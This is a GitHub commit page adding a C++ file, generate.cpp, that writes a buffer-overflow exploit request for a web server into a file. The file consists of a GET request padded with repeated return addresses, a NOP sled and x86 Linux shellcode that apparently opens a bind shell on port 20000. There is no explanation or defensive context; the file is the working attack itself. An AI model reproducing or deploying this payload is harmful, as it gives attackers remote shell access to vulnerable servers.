Skip to content

Commit

Permalink
renamed printchar to generate
Browse files Browse the repository at this point in the history
  • Loading branch information
yangsu committed Oct 13, 2011
1 parent f94f305 commit b432f6f
Showing 1 changed file with 21 additions and 0 deletions.
21 changes: 21 additions & 0 deletions generate.cpp
@@ -0,0 +1,21 @@
#include <cstdlib>
#include <stdio.h>
using namespace std;

char filename[] = "data.dat";
char addr[] = "\xb0\xfe\xff\xbf"; // Reversed, 0xBFFFFEB0
int numNoops = 475;
char noop[] = "\x90";
int numAddrs = 75;
char code[] = "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4\xf6\xd0\xcd\x80";

int main(int argc, char** argv) {
freopen (filename, "w", stdout);
printf ("GET /");
for (unsigned int i = 0; i < numAddrs; ++i) printf("%s", addr);
for (unsigned int i = 0; i < numNoops; ++i) printf("%s", noop);
printf ("%s", code);
printf (" HTTP");
fclose (stdout);
return 0;
}

0 comments on commit b432f6f

Please sign in to comment.